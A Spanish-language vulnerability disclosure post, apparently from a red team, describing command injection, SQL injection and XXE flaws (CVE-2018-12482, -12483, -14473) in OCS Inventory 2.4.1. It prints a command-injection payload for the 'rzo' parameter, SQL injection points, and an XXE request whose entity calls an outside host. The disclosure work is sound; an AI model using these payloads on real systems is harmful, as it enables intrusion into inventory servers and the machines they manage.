Vulnerabilidades en OCS Inventory 2.4.1

Durante una de las operaciones del Red Team de Tarlogic, han sido descubiertas varias vulnerabilidades en OCS Inventory (2.4.1). Las vulnerabilidades se corresponden con los códigos CVE-2018-12482 (múltiples inyecciones SQL en el motor de búsqueda), CVE-2018-12483 (ejecución remota de comandos) y CVE-2018-14473 (XXE).

Introducción

OCS Inventory es un software de inventariado de equipos ampliamente utilizado por las empresas. Permite la monitorización de las máquinas a través de agentes (tanto para linux como para windows) que son desplegados en las máquinas de la empresa, los cuales reportan periódicamente la información recopilada a un servidor maestro a través de peticiones HTTP. Así mismo, además de la monitorización, OCS Inventory permite la instalación de software, y ejecución de comandos, en las máquinas donde están desplegados los agentes, por lo que se trata de un activo crítico y de extremado interés para un atacante. Comprometer un servidor de OCS Inventory en la red interna de una empresa se traduce en la obtención de información crucial para etapas posteriores de la operación y en el compromiso de las máquinas donde los agentes están desplegados.

Durante la operación fue identificada la presencia de este software en un cliente, por lo que se optó por montar un entorno local donde analizar su funcionamiento y localizar vulnerabilidades que pudieran ser utilizadas en la intrusión. A continuación se procede a detallar cada una de ellas.

CVE-2018-12483 – Remote Command Execution

Al analizar el código del componente «OCSReports» rápidamente se observa la utilización de un script externo en perl para el descubrimiento de IPs:

function runCommand($command = "", $fname) {
    $command = "perl ipdiscover-util.pl $command -xml -h=" . SERVER_READ . " -u=" . COMPTE_BASE . " -p=" . PSWD_BASE . " -d=" . DB_NAME . " -path=" . $fname;
    exec($command);
}

El script es ejecutado como un comando del sistema operativo a través de exec(), pasándole como argumento una cadena de texto donde los parámetros han sido concatenados. Si se procede a la búsqueda de referencias a esta función dentro del código fuente se identifica una única coincidencia:

//ms_ipdiscover_analyse.php

$pas = $protectedGet['rzo'];
$values = look_config_default_values(array('IPDISCOVER_IPD_DIR'), '', array('IPDISCOVER_IPD_DIR' => array('TVALUE' => VARLIB_DIR)));
$fname = $values['tvalue']['IPDISCOVER_IPD_DIR'];
$file_name = $fname . "/ipd/" . $pas . ".ipd";
//reset cache?
if (is_defined($protectedPost['reset'])) {
    unlink($file_name);
    reloadform_closeme('', true);
} else {
    if (!is_readable($file_name))
        runCommand("-cache -net=" . $pas, $fname);

Los parámetros proporcionados a la función runCommand carecen de filtrado alguno, por lo que es posible el abusar de esta funcionalidad con objeto de ejecutar comandos arbitrarios en el sistema operativo. Dado que tenemos el control de $pas (pues adquiere su valor a partir del parámetro GET «rzo»), podemos insertar comandos al generar una cadena de texto tipo:

perl ipdiscover-util.pl -cache -net=;id > /tmp/pwned;#-xml -h=...

Para la explotación de esta vulnerabilidad es necesario estar autenticado en la plataforma web, por lo que si no se dispone de un usuario, sería necesario el secuestro de una sesión explotando algún XSS de la miríada que posee. En el contexto del ejercicio del RedTeam donde se descubrió la vulnerabilidad se optó por hacer que un usuario autenticado cargase en su navegador una imagen que apuntase a la URL con el payload (al visualizar la imagen, el navegador manda una petición GET con la carga maliciosa).

CVE-2018-12482 – Multiples inyecciones SQL

El motor de búsquedas implementado en OCS Inventory no realiza un filtrado adecuado de los parámetros utilizados dentro de las sentencias SQL, por lo que es posible la inyección de código SQL arbitrario. Por destacar algunos puntos de inyección:

• Parámetro GET y POST «values» al realizar búsquedas desde el apartado «Inventory -> Search with various criteria data». Al seleccionar una etiqueta de búsqueda (por ejemplo «Network: IPADDRESS»), la sentencia SQL queda tal que:

select distinct HARDWARE_ID,networks.DESCRIPTION as 'Network: Description',networks.TYPE as 'Network: Type',networks.TYPEMIB as 'Network: MibType',networks.SPEED as 'Network: Speed',networks.MACADDR as 'Network: MAC Address',networks.STATUS as 'Network: Status',networks.IPADDRESS as 'Network: IP Address',networks.IPMASK as 'Network: IP Netmask',networks.IPSUBNET as 'Network: Subnetwork IP',networks.IPGATEWAY as 'Network: Gateway IP',networks.IPDHCP as 'Network: DHCP IP' from networks where ( ( IPADDRESS = '[INJECT HERE]'))

Al no realizarse un filtrado adecuado, podemos romper la sentencia con una comilla simple (‘) e inyectar nuestro payload.

• Parámetros length, order, start. Estos parámetros utilizados para la cláusulas limit y order de la sentencia SQL tampoco son filtrados adecuadamente, permitiendo de igual forma la ejecución de consultas arbitrarias:

Ejemplo (parámetro POST «length»):

... GROUP BY netid) non_ident on non_ident.RSX=inv.RSX) toto order by ID asc limit 0 ,[inject here]

CVE-2018-14473 – XXE

La comunicación entre los agentes y el servidor maestro de OCS Inventory se realiza a través del protocolo HTTP, enviando la información contra un endpoint. La información es estructurada en forma de XML, siendo parseada por el servidor para extraer los datos. Debido a una configuración inadecuada es posible la utilización de external entities, las cuales al ser procesadas por el parser de XML, permiten la exfiltración de información sensible de la máquina.

Como prueba de concepto se puede levantar un servidor web local en la máquina del usuario, como canario, y enviar la siguiente petición contra el endpoint:

POST /ocsinventory HTTP/1.1
Host: xxxxxxxxxxxxxxx
User-Agent: OCS-NG_WINDOWS_AGENT_v2.3.1.1
Accept: */*
Content-Type: application/xml
Content-Length: 160
Expect: 100-continue
Connection: close

<?xml version="1.0" encoding=""UTF-8" ?>
<!DOCTYPE r [
      <!ELEMENT r ANY >
      <!ENTITY sp SYSTEM "https://ourserver/?pwned">
>
<REQUEST>&sp;</REQUEST>

Al procesarse el XML, la entidad &sp; se expande y el servidor OCS Inventory realiza una petición contra nuestro canario, verificándose la existencia de la vulnerabilidad.

Conclusión

Una de las características más importantes del Red Team de Tarlogic es la dedicación a buscar vulnerabilidades en el software utilizado por nuestros clientes, siendo fruto de ello en muchas ocasiones el descubrimiento de 0-days. Algunos de ellos que puedan ser más interesantes son mostramos en este blog (como el presente post, o como se hizo con el RCE de Cobian Backup, y otros únicamente se reportan (como se hizo con el Switch UbiQuoss VP5208A).

Siempre hay que tener en cuenta la posibilidad de que un atacante utilice vulnerabilidades no publicadas para comprometer una máquina. Es en este punto donde las medidas implementadas durante el bastionado deben de dificultarle el movimiento lateral y la escalada de privilegios. Así mismo la implantación de WAFs en este tipo de aplicaciones internas críticas permiten dificultar la explotación de este tipo de vulnerabilidades en aplicativos web.

OCS Inventory ha publicado una nueva versión (2.5) que puede ser descargada desde su GitHub

Agradecimientos

Jaume Llopis (@jks___ ), Pablo Martínez (@Xassiz) y Juan Manuel Fernández (@TheXC3LL)

Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/

En TarlogicTeo y en TarlogicMadrid.